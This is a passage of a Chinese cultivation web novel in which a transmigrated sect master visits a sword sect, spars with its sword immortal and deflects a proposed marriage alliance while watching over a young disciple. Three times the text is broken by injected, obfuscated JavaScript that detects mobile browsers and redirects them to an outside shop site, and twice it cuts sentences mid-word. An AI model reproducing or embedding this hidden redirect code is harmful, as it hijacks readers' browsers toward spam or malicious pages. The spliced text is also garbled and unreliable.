他被带回与剑台后从未交代过自己的资源,所以与剑台最初就把他丢在外门,美其名曰众生平等,实际也有几分纵着外门欺侮,逼他使出法宝的意思。 楚怜只是脾气不好,但没到蠢的地步。这些人的心思,他心里都如明镜,包括这位素未谋面,却莫名和他亲近的岳峰主。 他又补了半句:“我叫楚怜,不叫小怜。” 岳峰主的脸彻底沉了。 燕辞北不便骂人,但五感过人,这段对话一个字都没错过,听着听着没忍住噗嗤一笑。 龚掌门正说着客气的套话,被他笑声打断,也笑着道:“尊者比传闻里平易许多,难怪和我们折竹意趣相投。他常说你们是知己,现在看来,果然有许多共通之处。” “是吗?”燕辞北说,“本座应该比他聪明点吧。” 龚掌门笑意更深:“尊者说的在理,折竹自幼被他师尊护在宗门,不谙世事,心思纯净。唯一一次远行历练就和尊者一见如故,这或许就是天赐的缘分罢。” 原主和白折竹认识的时间很早,早到燕辞北不特意回忆,其实记不起来这俩人的初遇。 但龚掌门没必要在这种事上撒谎。燕辞北糊弄着点头,也恭维说:“本座的确欣赏折竹,所以一出关就来找他,恰好带走了楚怜。” 龚掌门听到这句话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274507|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知为何,看他的眼神越发柔和。 “何止尊者,折竹一出关也是念着您呢。” “那他怎么不到合欢宗来?” “唉,这得怪我这个师叔没眼色了。折竹继承了他师尊的剑仙之位,好不容易出关,确实不便外出。” 燕辞北不懂他为什么一直围绕着“白折竹”,听上去都是废话,他就跟着龚掌门一直点头。 龚掌门继续道:“掐指一算,折竹也有千余岁了,还是单纯得很。他师尊,也是我的师兄,曾经交代我,折竹的心性是好事,也是坏事,需得推上一把,教他人情练达……” 燕辞北深以为然:“没错。比如他欠本座的十万灵石,掌门有心可以催催。毕竟朋友交往贵在诚实。” 龚掌门:“……那是自然。” 这么有一搭没一搭地闲聊,他们的脚程却不慢。 毕竟这支队伍除了可以用符的楚怜,最差的凤衔玉也是元婴修为。一行人看似闲庭信步,其实只花了一会儿,便来到与剑台主峰。 林木蔚然、门生如云。校场一望无际,此起彼落的叫喝和剑啸令人不禁驻步。 燕辞北也看惊了。 与剑台以剑修为主,可剑也分无数品类。 校场八方的落兵台就摆满兵器,长度、薄度、硬度都不相同。玄品和黄品不计其数,甚至偶尔可见地品下阶的剑器——在这里,竟然是可以公用的制式武器。 这么有钱!!! 燕辞北不想抢楚怜了,他甚至想跳槽来与剑台当长老。 那几把地品剑好像随便当一把都能把他的仙兽买一头回来。 当然,也就是想想。 看到龚掌门和燕辞北的身影,校场零落的内门弟子不消提醒,便自发整列成阵。 放眼纯白的一片,一概握剑长礼,呼声震山:“恭迎南离尊者——” 燕辞北又理解读书时校长为什么逼他们跑操了。 赏心悦目,无可挑剔。 他甚至有几息的时间没回过神,还是凤衔玉咳嗽一声,不知何时挪到他的身边撞一下胳膊。 燕辞北才意识到这阵仗用来招待楚怜好像有点过度了。 楚怜也站到了他的另一侧。 而且是理直气壮挤开龚掌门,站到的另一侧。 和岳峰主不同,龚掌门对楚怜的兴趣一般。但他脾气很好,欣然让位,隔着楚怜继续介绍:“这些都是与剑台的内门弟子,共计一千二百人,十二峰各率一百。折竹就在主峰后山的洞府,我带尊者过去,令徒便可先去客舍歇息。” 一名校服上绣了一团云纹,明显地位高些的内门弟子走出方阵,对他们行礼。 龚掌门道:“清仪,你带两位合欢宗的道友熟悉一下宗门。给他们安排最好的客舍。” 一叫名字,燕辞北又有了记忆。 龚清仪是龚掌门的女儿,个性也很傲娇,和楚怜冤家路窄。 她倒不是后宫,或许是因为天赋一般,追不上楚怜的节奏,只在前期和楚怜吵过几次便没了戏份。 但燕辞北挺喜欢她,因为她骂过楚怜“三心二意”“天打雷劈”。 在原著里,这真是骂得恰如其分。 龚清仪对燕辞北相当尊敬,抬头的须臾,两眼亮极。双手似乎还在颤抖,她抿了抿嘴唇,才甜甜地答应:“女儿明白。” 然后又多看了燕辞北数眼,相当不舍地行礼,“清仪仰慕尊者许久……恭迎尊者,清仪、清仪……清仪希望敝宗不让尊者失望。” 燕辞北含笑点头:“谢谢你。” 龚清仪受宠若惊地眨眨眼睛,还想多说几句。 但顶着龚掌门的目光,她不得不走向凤衔玉和楚怜。 刚夹着的嗓子好像一下子松了,特别是看到楚怜的瞬间,龚清仪甚至没忍住一声轻嗤。 她只对凤衔玉行了一礼:“二位跟我来吧。” 龚掌门也对燕辞北说:“尊者,这边请。” 客随主便,三人不得不分道而行。 11. 第十一章 就像龚清仪没给他好脸色一样,楚怜对龚清仪也很冷淡。 三人偕行的一路,都是凤衔玉和她攀谈缓和氛围,两个姑娘都是门中地位颇高的存在,此前有过交集,但龚清仪的语气里还是少不了第一大派的倨傲。 “这里就是客舍,这是通行令牌,能证明你们的身份。”龚清仪顿了顿,看向楚怜轻蔑地一笑,“千万带好,否则保不齐谁没认出你们,动起手来,再给长辈添麻烦。我在宗门这么多年,都是第一次听说剑仙亲自处罚几个外门弟子。” 听到这话,楚怜的眉宇挑了挑。 “剑仙亲自处罚几个外门弟子”? 能把这点小事吹到剑仙耳边的,除了燕辞北还能有谁? 不过与剑台慕强成风,这个故事完全可以被扭曲成他技不如人还走大运被燕辞北搭救——难怪龚清仪说话时磨着牙。 他好像同时沾了修真界两个最强的光。 但想通了不代表楚怜就会嘴软。 对方欺负到头上,楚怜的笑脸只会比她更讽刺:“是吗?看来道友很羡慕那几个同门,也想被剑仙惩罚一二。” 龚清仪瞪圆眼睛:“好大的口气,你以为剑仙真是为了你吗?” 楚怜哂笑:“不然是为了道友?” 龚清仪彻底怒了,豁地拔剑,银亮的剑光照出半张怒容:“与剑台敬重强者,也敬重磊落的小辈。可有些只会哭鼻子卖弄姿色的家伙,我们当然没义务欢迎。” 凤衔玉上前半步挡住了楚怜,袖里软剑照样弹出半寸。 “道友的嘱咐我们都记住了。虽然还有些不太理解的地方,等见到龚掌门的时候,衔玉会再请教的。” 双方之间一时剑拔弩张,就连客舍的值周弟子都感受到异样的氛围,纷纷站到了龚清仪的身后。 但动手是不可能动手的,且不论燕辞北还在做客,凤衔玉是元婴中期,和龚清仪差着一整个大境界。 真动手了,在长老驰援之前,凤衔玉要扫倒一片与剑台弟子不是难事。 龚清仪哼笑一声,收剑回鞘:“近朱者赤近墨者黑,凤道友也是同辈翘楚,但愿不要和小人为伍,误入歧途。” 她甚至都没有礼节性地带他们熟悉一圈,就准备丢下二人扬长而去。 但还来不及走出客舍,就见天陲一道惊雷。 耀眼凌厉的闪电撕裂苍穹,余光还烧着烈烈的火。一道落下,就听得主峰山顶巨响隆隆,不知道有多少土石崩溃。紧随着暴雨如注,让那片焦黑的废墟雪上加霜。 所有人都仰望着天边,久久不能回神。 楚怜的玉佩蓦然滚烫,一股空前的引力拖拽着他,令他对那片战场生出一种激烈的渴望。 “是剑仙!”弟子中有人惊呼,“剑仙出剑了……!” - 白折竹的剑是一柄通体雪白、狭窄且长,名为霜电的剑。 霜电剑出,万壑雷鸣。此剑作为与剑台数十代的传承,非剑仙不能驾驭,说是上修界至宝之一也不为过。 看着周遭死气沉沉的废墟,燕辞北不动声色啧了一声。 十丈开外,立在断柱上的一点白衣,就是白折竹。 他的脚下却是丛生野火。哔剥的燃烧声簇拥着高贵的剑仙,那双不久前还战意激昂的眼睛,现在只映出火光的艳烈。 斩不断的火舌犹如永生的藤蔓,无时无刻不向他侵略。 白折竹终于累了。 他收回霜电,面上惊色难压:“凤凰种?老妹你你你——你什么时候炼出这等神火了?!” 燕辞北微笑着收回了火。 剑修的战力的确恐怖,更不提带着霜电的白折竹。 但是再恐怖的战力,在半步飞升的绝对力量面前……抱歉,他是外挂。 观战的龚掌门立在隔离阵法之外。 白折竹轰轰烈烈,燕辞北慢火煎磨,强者之间点到即止,这种程度已经足够他看出南离尊者的修为进益。 不愧是上修界最顶级的天才,到了渡劫的境界,竟然还能实现飞跃的进步。 白折竹撤去结界阵法,苦着脸对龚掌门道:“师叔,是我输了。” 龚掌门真诚地鼓掌,看向燕辞北的神色越发欣赏:“精彩,太精彩了。龚某能亲眼见到二位大能的切磋,真是死而无憾。尤其是南离尊者,当真是火灵根里首屈一指的天才……凤凰种,我已经几千年没听说炼出凤凰种的修者了。” 燕辞北有些惭愧,这些成就归根结底都是原主的遗产,是他鸠占鹊巢。 不过原主的心愿就是保住合欢宗,他也当然要为这个目的拼尽所有。 燕辞北竖起一根手指,说了几句“承让”的客气话,便铁面无私地提醒白折竹:“十万灵石。” 白折竹:“……” 白折竹摸摸芥子戒,又摸摸芥子袋,最后摸向了龚掌门的腰袋。 龚掌门躲开了他。 “十万灵石能算什么数目,小小玩笑,哪里值得这么执着。尊者放心,折竹不是出尔反尔的人,比起那个,你们挚友难得相聚,折竹,你不带尊者逛逛与剑台的风景么?” 白折竹一脸困惑:“我吗?我自己都还没记完路啊。” 龚掌门笑眯眯地推搡他,白折竹一时不稳,就被他推到燕辞北的身边。两人撞了一下,燕辞北毫不客气地反搡一把。 白折竹便唯唯诺诺立在中间,听龚掌门道:“正好你们一起熟悉了。” 白折竹挠了挠头:“是这样吗?” 他问燕辞北,“那……走吗?” 留在这里也没意思,白折竹的洞府就和他的为人一样单纯。一张竹席,一把霜电,连个石桌石床都没留下,更比不上燕辞北闭关的那座仙宫。 虽然不理解龚掌门的用意,但燕辞北也惦记着两个徒弟:“走呗。” 一红一白两道衣影,便这么你推我我挤你地并肩下山。 白折竹想尽地主之谊,可是闭关千年让他都陌生得很,一路上甚至要向内门的弟子问路,燕辞北就缀在身后,每当有弟子好奇地看来,他再回以笑容。 两人摸索着且行且问,也交流些修炼上的法门。 待到山路豁然开朗,远远地正瞧见一行人影跑近,是兴奋的龚清仪。 “剑仙大人——”龚清仪呼唤。 龚清仪是师叔的女儿,白折竹对她自然熟悉:“清仪?师叔还在山上,你是要找他吗?” 龚清仪却摇头,两眼亮闪闪地凑上前:“刚才天象大变,是您拔剑了吗?” 她看到一边的燕辞北,濡慕的神色更甚,“尊者也在山上,难道是您二位在……?” 白折竹气恼地道:“早知道就不动霜电了,现在与剑台都知道愚兄输给你了!” 燕辞北笑着打趣:“不要紧,多输几次就都习惯了。” “呵,也只你敢这么狂妄。” “对待手下败将,本座为什么不狂妄?” “刚才是愚兄让着你!” “是是是,知道你很缺面子了……” 燕辞北一边敷衍他,一边眺向龚清仪身后的弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274508|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 赶来围观的弟子不在少数,在白衣中,两点杏黄就很惹眼。凤衔玉和楚怜正穿越人群步步靠近,他们也都看到了燕辞北,凤衔玉微笑着挥手。 而楚怜没什么反应,他皱着眉,似乎更关注自己被人推挤的处境。 燕辞北忍俊不禁。 这么多人,也真辛苦楚怜肯屈尊来挤。 白折竹羞恼地瞪他:“你又笑什么!” 恰好,楚怜被人一个肘击,吃痛的瞬间,脸色肉眼可见地黑沉。 燕辞北看得噗地一声,彻底开怀大笑。 他笑得匍在白折竹的肩上,往人群里指:“你看,那就是楚怜……” 白折竹依言望去。 楚怜也在那一霎时抬头,两双眼睛远远地交上视线。 - 楚怜依旧饱受推搡,但为了更加接近燕辞北,他不能不隐忍。 而那对俯视他的男女——燕辞北越是花枝乱颤,楚怜就越感受到白折竹投来的好奇的目光。 那双眼睛没有恶意,纯粹且平和,没有一丝睥睨的意味。 甚至当四目相对,白折竹还善意地扬起唇弯,对他微笑致意。 可是同一时间,他们一个犹在半山,一个立在山脚。 仿佛寓意着二人处境,高低立见。 “我听说,掌门这次大张旗鼓地款待南离尊者,是因为尊者马上就要和剑仙合籍了!” “真的假的?要是他们合籍,咱们岂不是跟合欢宗成了姻亲?” “我兄弟拜在主峰,是他亲耳听到掌门说的,那能有假?再说了,以尊者和剑仙的才貌,除了彼此,还有谁配入他们的眼?” “……” 聒噪的议论如潮水涌入耳廓,就连凤衔玉的表情也有了瞬间的空白。 楚怜听到她喃喃自语:“师尊和剑仙吗……” 语气里更多是惊讶,却没什么反对的意思。 毕竟正如这些弟子议论的那样,南离尊者和剑仙就是举世最强的存在,这对挚友的美名流传千年,楚怜自从出生,就没少听说两个人的美谈。 所有人都在为之欣喜,都在称赞他们的般配。 只有楚怜夹杂其中,眉头锁成解不开的死结。 没有被撞的地方也开始突兀地生疼,蔓延到双腿,沉重至极。后方人群拥挤着,楚怜拽了拽腿,却突然没有了前进的意愿。 他和白折竹默然对视。 然后在对方温暖的笑容下,恶狠狠地瞪了一眼。 白折竹:“?” 玉佩烫得出奇,楚怜不知道是为白折竹烫,还是为燕辞北烫。 他只听到自己心跳怦怦,比白折竹刚才引来的雷声还要嘈杂。接着,他调转身体,在眼睛泛红之前逆行而去。 凤衔玉讶异地喊他:“师弟?” 楚怜充耳不闻。 他固执地向外走,把别人的声音都排挤出去。 哪怕人潮在推他、玉佩在引导他、凤衔玉在呼喊他…… “楚怜,你去哪?” 一声呼唤传入识海,荡得他六识清明。 是燕辞北的声音,化作一只狎昵的灵蝶贴在耳壳,“……快回来,为师正要给所有人介绍你呢。” 楚怜的腿停了。 扭过头,通红的眼睛没有再对上白折竹。取而代之的是燕辞北的视线。 看清他眼眶的刹那,燕辞北又笑得蹲了下去。 楚怜:“……” 他讨厌这个女人。他确信了,他讨厌这个师尊! 12. 第十二章 随着南离尊者和剑仙的视线,其余人的目光也转到楚怜身上。 以他为中心,周围人缓缓让出小片的空地,凤衔玉得以靠近,一面把人护在身边,一面低声教训:“你想跑哪去?出了事可怎么办。” 楚怜被她拉拉衣袖,却没低头。 四面八方的目光宛如潮水,交头接耳的议论声此起彼伏。 羡慕的、质疑的、打量的…… 但它们很快就被一袖子打散,燕辞北飘落而近,如一朵逐水红莲,掠步间挡下了所有的眼神和讨论。 楚怜只感觉一道香风迎面,眼里就只剩燕辞北炽烈的红衣。 白折竹随后飞来,毫不介怀刚才的眼刀,满眼坦诚的笑意:“你就是楚怜?细皮白肉,确实标致!” 燕辞北得意极了,把凤衔玉一起牵近:“本座的徒弟,当然都是天下最好的孩子。” 面对燕辞北的炫耀,白折竹无可反驳。 他端详着燕辞北的一双徒弟:“养徒弟有这么好玩?看得愚兄心痒,也想收个徒弟了。” 燕辞北一惊,心中警铃大作:“你干嘛!” 原著没说过白折竹为何突然收徒,该不会是他不小心刺激了白折竹吧? 依照原著,白折竹和前期的楚怜都是变异灵根,也都修剑,所以相性极好。如果白折竹真的看上楚怜…… 燕辞北咽了一口唾沫,强行压下不安。 比起白折竹,他能教楚怜的的确不多。 楚怜是变异风灵根,擅长剑器。而他是火天灵根,专修法术,各类法器都是耍个新奇,基本没有特别趁手的武器。 但白折竹几乎是楚怜的翻版。他代表的是不曾堕落、不曾黑化的楚怜,也是楚怜的理想之一。 ——最要命的是,他的恐慌还真成了真。 白折竹略过燕辞北的怒色,一本正经地看向楚怜:“小子,你想跟本座学剑吗?” 此言一出,四下哗然。 刚才还“伉俪情深”的尊者和剑仙,现在居然要为一个灵根被废的小子反目! 而且外人不知道白折竹,与剑台的弟子却都清楚。 白折竹天生率性,洒脱不羁,一直不肯收徒。这样的剑仙却肯主动向楚怜示好—— 楚怜尚未开口,龚清仪高声打断了他们:“剑仙不可!” 在场除了燕辞北,最急的就是她了。 龚清仪再也顾不得礼仪,莲步轻移来到跟前。虽然个子最小,但她的气势一点不弱,眼圈红红地拉住白折竹:“您、您是与剑台上下表率,他都不是与剑台的门生,怎么能跟您学剑!” 燕辞北感激至极,忍不住投去欣赏的目光。 好嘴,能说多说! 龚清仪好像受到他无形的鼓舞,当真口若悬河:“而且内门大选在即,剑仙纵要收徒,也该收大选中脱颖而出的新人,那样才能服众。楚怜在外门期间行止嚣张、用度奢靡,还和同门多次动手,屡屡犯戒,风评极差。剑仙如果收下这样的弟子,岂不是让大家心寒?” 在场鸦雀无声,只有被戳着脊梁骨一顿数落的楚怜青筋暴跳。 要不是燕辞北的手臂犹如铁钳一样锢着他,他现在就想一脚踹过去,现场证明一下自己为什么会“风评极差”。 “呃……嗯……这……” 白折竹瞠目结舌,没料到自己的突发奇想能引来这么有理有据的教训。 但看到燕辞北闪闪发光的眼睛,他还是不甘心就这样放弃,“也许他有苦衷呢?内门收徒不都是看能力,那些罪状又不是原则问题……” 龚清仪一口银牙都快咬碎,嫉恨的眼刀不要钱地甩向楚怜。 刚好后者的眼刀也正在剐她。 只有夹在二人中间的燕辞北目标清晰:“贤兄怎么能这样没有原则!” 好在混乱的战场最终迎来了解救。 龚掌门不知从哪得知这里的闹剧,匆匆从主峰下来,御剑赶到几人身边。 围观的弟子散开几尺,既怕掌门责罚,又舍不得这场好戏。 龚掌门却没心思罚人,他怎么也没料到,白折竹不专心和燕辞北培养感情,居然跑去跟人抢徒弟。 现在好了,燕辞北都说出那种话,他家笨蛋师侄还沉浸在“老妹喊了贤兄”的喜悦,全然不知道自己是惹毛了人家。 “折竹!叫你带客人游览风景,你就是这么当主人的?” 他先制止了争吵,接着按下自己跳脚的女儿,“清仪你也是,这些都是你的长辈,平日在家娇惯了你,但这里是你大呼小叫的场合吗?” 龚清仪柳眉颦着,极不情愿地退到他身边。 龚掌门呵斥:“还不快向楚公子道歉?” 龚清仪张了张嘴,飞快说了一句“对不起”。 但燕辞北捕捉到,龚掌门这句“公子”相当精确。 倘若他认可楚怜合欢宗的身份,本该叫他“道友”;或者坚持楚怜还是与剑台的弟子,就该说他是“师弟”——然而,龚掌门选择了“公子”。 他是在对楚家公子楚怜道歉。 果然,紧接着龚掌门便朝燕辞北赔笑:“尊者海涵,这两个孩子都被惯坏了,说话不经思考,但绝对没有怠慢客人的意思。” “不要紧,”燕辞北回以假笑,“本来就是我们叨扰。” “尊者言重!您远道而来,无论是折竹,还是与剑台的其他人,我们都期盼多时,不胜荣幸。只要您愿意,与剑台山门大开,欢迎您随时做客。” 顿了顿,龚掌门的笑容变得越发温和,“对了,方才清仪也提到内门大选。想必楚公子也知道,十日之后就是与剑台的大选,诸位若不嫌弃,不妨在此小住,权当看个趣。” 他把白折竹拽回燕辞北的面前,“……也让你们挚友多叙叙旧。” 白折竹:“?” 燕辞北:“?” 楚怜黑着脸打断了他的撮合:“嫌弃。” 不仅嘴上嫌弃,他的身体也插/入白折竹和燕辞北的中间。 龚清仪一看,不甘示弱,立即向前半步,挤进了楚怜和白折竹之间。 如此一来,白折竹和燕辞北的距离越发远了。 龚掌门的后话都被堵在喉口,楚怜继续说:“我们过来只为一件事。我要退出这里,无论你们的规矩是什么,尽管都说出来。要钱、要打架,我都奉陪。” 龚掌门:“……” 两个宗主虚与委蛇的客套终于结束了。 燕辞北也装不下去,无奈地颔首:“虽然贵宗风景是好,但忧思不解,本座也无心玩乐。其实这事原本不用这么麻烦,先前我们说的十万灵石……” 他突然觉得就拿他刚赢的白折竹的那份抵扣也行。 “我明白了。”龚掌门道。 他也收敛了之前温馨亲切的模样,恢复一宗之主的肃穆。凝视燕辞北的目光犹如利剑,虽然修为不如,可龚掌门的气场丝毫不弱。 燕辞北的后半句话没说出口。 直觉告诉他,龚掌门不会再为十万灵石放走楚怜了。 “兹事体大,我们回到苍山楼里慢慢说罢。” - 与剑台的灵茶都是最好的茶叶,燕辞北抿上一口,却品不出一点滋味。 他忧心忡忡地看着龚掌门,后者神情严肃,刚刚放下茶盏。 堂中坐着的都是亲信。 除了燕辞北和龚掌门,就是白折竹、楚怜、凤衔玉和龚清仪。 六个人神色各异,但只有白折竹在咕噜噜地牛饮,喝得专心致志。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274509|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 龚掌门开口说:“十万灵石,是我们希望尊者出的聘礼。” 燕辞北一头雾水。 “我们知道合欢宗的规矩,女修概不外嫁。我们也尊重合欢宗的传统,所以同意让折竹嫁去合欢宗,与剑台从此就和合欢宗结为秦晋之好……” 燕辞北:“???” 白折竹:“噗——咳咳咳?!!” 凤衔玉惊讶地捂住嘴,龚清仪则听得脸色通红,兴奋不已。 楚怜捏着茶杯的手猛然用力——但废灵根的实力连一丝裂纹都攥不出来。 龚掌门言辞诚恳:“或者如果尊者愿意来与剑台,我们可以出百万、甚至千万作为聘礼。你们双方可以互相作为客座长老,如此一来,无论楚公子拜在谁人门下,都可以同时学到二位的特长。” 燕辞北:“……” 这说的是人类语吗?他怎么听不懂了? 比他更困惑的白折竹:“师叔,我只是想收徒,没说过想娶妻啊?” 龚掌门剜他一眼:“闭嘴。” 接着期待地看向燕辞北,“尊者意下如何呢?” 那些短见的家伙才会争夺楚怜的归属。 可他一早就明白,楚家的资源诚然珍贵,但一个南离尊者足够屠平十个楚家。不管楚怜是偏向哪个师尊,今天只要敲定了燕辞北和白折竹的亲事,尊者也好,楚家也罢,还不都成为与剑台的一分子。 至于白折竹—— 这个浑小子懂什么情爱,道侣贵在相互扶持,除了燕辞北,其余女人也只会成他的累赘。 龚掌门怎么想都觉得自己走了一步高招。 燕辞北倒是悟了。 原来十万灵石不是坑他,是在把白折竹跳楼大甩卖。 十万灵石给家里买一个渡劫期剑仙……嘶,合欢宗估计没人梦这么大过。 这么一联姻,与剑台是锦上添花,但合欢宗的地位一定扶摇直上。 楚怜掌握的资源在这等利益面前,顶多算个添头。 “啪”地一声,燕辞北没想好怎么开口,倒是楚怜把茶杯摔在了案上。 他气得发抖,可说不清自己在抖什么。憋闷在胸腔的怒火只好都对燕辞北喷薄而出:“你犹豫什么,你还真要当我师娘?!” 燕辞北怔忡着,楚怜又朝向龚掌门: “你说的这些跟我有什么关系?总之我要辞去与剑台,既然不能花钱,那就是打架,要我打几个,你直说好了!” 龚掌门缓缓眯起眼睛,目光从燕辞北掠到白折竹,最终定在楚怜身上。 和他意料中的不同,全上修界都以为情投意合的两人好像完全不感兴趣。 特别是燕辞北。 他对合籍一事的反应,还不如楚怜骂他时来得明显。 像是为了声援楚怜,燕辞北连连点头:“是啊,还是聊正事吧。” 原著没写他的感情线,他不知道能不能跟白折竹走啊! “……好吧。”不得不接受燕辞北的婉拒,龚掌门叹息一声。 他道,“那就还是照与剑台的规矩,楚公子胜过十名内门弟子就可自决去留。念及楚公子身体抱恙而且舟车劳顿,还请先在门中休养。十日后内门大选,楚公子也登台比试即可。” 燕辞北知道,这还是在给他们拖延时间。 为了保护楚怜,他也必须在与剑台留守十天。这十天里,龚掌门肯定会穷尽手段按头他和白折竹。 楚怜重重一哼,大步过来一手抓起燕辞北的手腕。 动手一拽,燕辞北就站到了楚怜身边,而楚怜玉面薄怒,羞恼得像一头猛兽幼崽,却无比坚定地瞪着龚掌门: “那这十天我得潜心修炼,希望贵宗任何人都别来打扰我——和、我、师、尊。” 13. 第十三章 就这样,楚怜的强硬为师徒一行人争取到长达十天的清静。 燕辞北对此没什么意见,但其他人就不一样了——特指小千。 原本就是勉强答应低调才变回原型陪伴燕辞北,现在却要她继续陪楚怜闭关修炼。满腔委屈之下,小千又在地上打了几滚。 最后滚得燕辞北头疼,索性让凤衔玉领她出去游玩。 临走前,凤衔玉明显有些不放心,眼神在楚怜身上定了一会儿,但耐不住小千撒泼,最终还是去了。 客舍里就只剩下燕辞北和楚怜一对师徒。 两人对视了几息,燕辞北忍俊不禁:“你很讨厌折竹?他是哪里得罪过你?” “折竹”、“折竹”。 就数你喊得亲密。 楚怜偏过头,在以为燕辞北不会看到的角度撇了撇嘴。然后故作冷淡地一嗤:“我才没这么多想法,只是觉得先来后到。” 顿了顿,“不是你让我离开与剑台吗?遂了你的心愿,不是好事?” 燕辞北没听出他夹枪带棒的火药味,只顾着高兴楚怜态度坚决,看来真能走出和原著不一样的路线。 转念想起凤衔玉走前欲言又止的模样,燕辞北恍然大悟。 原著白折竹也曾以两宗交好为由,邀请合欢宗派人观看内门大选。凤衔玉就是在这时登场——而且对楚怜一见倾心。 再想想,近两天这对师姐弟形影不离,少不了各种磨合交心。 楚怜又解了合欢宗财务上的燃眉之急,对凤衔玉来说,怎么不算一种英雄救美? 燕辞北长长地“哟”一声,戳戳楚怜的后背:“说得这么正义凛然,其实是割舍不下合欢宗了吧?” 此话一出,楚怜的背影果然抖了一下。 虽然还是坚持着没有说话,但耳根已经烧成了深红,呼吸声也变得越发沉重。 燕辞北更觉得自己洞察真相,满意极了。 和合欢宗其他刚入门的弟子不同,楚怜是修二代,修的依然是楚家心法。 而楚家最出名的就是强提境界,他们容纳的灵力远超同境界的修者,还总能阵前突破,险地求生。 现在燕辞北旁观楚怜吐纳,渐渐也明白了这门心法的原理。 楚怜没有灵根,灵气都暂储于灵脉。 可楚怜依然能凭借楚家心法强撑灵脉,源源不断地吸纳灵气,好像把自己膨胀成一个定时炸弹,到了必要时刻,就跟敌人爆了。 难怪这小子不着急灵根。 燕辞北暗暗腹诽。以楚家的法门,有灵根和没灵根的差异可能只是手/榴弹和小地/雷。 不过抛开吐槽,楚怜修炼时的模样让燕辞北刮目相看。 虽然打坐前还被自己调笑两句,害臊得不得了,但楚怜的心境平复极快,一眨眼便和没事人似的。 此刻他盘膝而坐,腰背笔直,端正得像一座雕像。 结印的手法也很娴熟,翻覆许久也不见重复,可以看出他的心法境界已经相当高深,都是时间和努力堆砌的成果。 燕辞北擦擦眼泪,他没有赶稿赶到猝死之前也是这么努力。 拿出纸笔,燕辞北也就楚怜修炼的坐姿描画起来。 半天过去,燕辞北画出的小像已经堆满纸面,翻个面还想继续画时,楚怜翻印的双手终于有了迟滞的迹象。 他的鼻尖沁出颗颗汗珠,脸色泛起一片潮红。 燕辞北察觉异样,放下了笔。只见楚怜咬着的下唇已经渗出些微血丝,仍然紧闭双目。 苍白的额角青筋隐隐跳着,显然在忍耐什么巨大的痛苦。 燕辞北立即伸手搭在楚怜的脉门,强大的灵识压制而下。后者下意识猛缩,却被燕辞北不容置疑地锁住。 混乱而驳杂的气息正在楚怜的体内冲撞。 它们像一头头野兽,肆无忌惮破坏着这具血肉之躯。而那些脆弱的灵脉早就支撑不住夜以继日的摧毁,绽出触目惊心的裂纹。 燕辞北不敢想象这是多么惨重的疼痛。 “楚怜,醒过来!” 燕辞北看得心惊,握住楚怜的力道大了几分。 濒临力竭的楚怜犹存几分理智,在呼唤下缓慢撑开眼,却只有一瞬,很快又合拢了去。 燕辞北也顾不得礼貌了,一手把人揽进怀里,反复的催促无果后,他只能一巴掌抽在楚怜脸上:“醒醒,你死这儿我怎么跟衔玉交代啊!醒醒醒醒!!” 楚怜:“……” 作为修士,燕辞北实在是半路出家;而作为穿书者,他上辈子也不是医学生。 看着上气不接下气的楚怜,燕辞北脑袋空空,发现他身体滚烫后,才出于本能地将头贴上楚怜的额前。 “怦”! 霎时间,两人的心跳好像实现了共鸣。 那声雷鸣般的心跳响彻识海,让燕辞北抽回一丝理智。 活人还能让尿憋死?得去找与剑台帮忙。 燕辞北抽身欲走,却被楚怜揪住衣袖。 他艰难地睁眼,气若游丝,语气却坚定:“死不了。” “真的?”燕辞北不大相信,“为师不懂你们楚家的心法,还是找几个见多识广的长老问问,或者请几个医修过来。” 楚怜攥得更紧:“……回来。” 燕辞北不动。 楚怜一声痛哼,呼吸更加急促几分。燕辞北看得皱眉,犹疑着不知道怎么办,但楚怜再度睁眼,气声压低许多,声色莫名显得委屈婉转:“我疼,你别走。” “………好吧!” 燕辞北飞身回来,把人搂回怀里。 不过他放出了一只灵蝶,嘱咐凤衔玉去请白折竹和与剑台的医修,最好十万火急往客舍赶。 楚怜面上仍是一片红晕,潮热的喘息喷在燕辞北的掌心。 “我能帮你做什么吗?”燕辞北问。 楚怜忍着剧痛挤出一丝笑,但紧咬着的下唇再次渗出了血。 燕辞北把他的衣袖塞过去:“咬衣服吧。” 想了想,又觉得楚怜的衣料好像比他的贵,于是换成自己的,“为师的便宜。” 楚怜:“………” 楚怜依言一口下去,燕辞北还没来得及松手,便感到一阵微痛。 少年有一点小小的尖牙,恰好磨在他的虎口处,一时痒痛兼具,还有一股异样的酥麻顺着皮肤上沿,害他好像连脊椎腰骨那一片也骤然失了力气。 燕辞北小声“嘶”了一下,楚怜也意识到自己咬错地方,朦胧中松口。 可是依然没等到燕辞北调整好姿势,潮水般的疼痛涌上,楚怜弓起身体,循着本能朝记忆里衣袖的地方咬去。 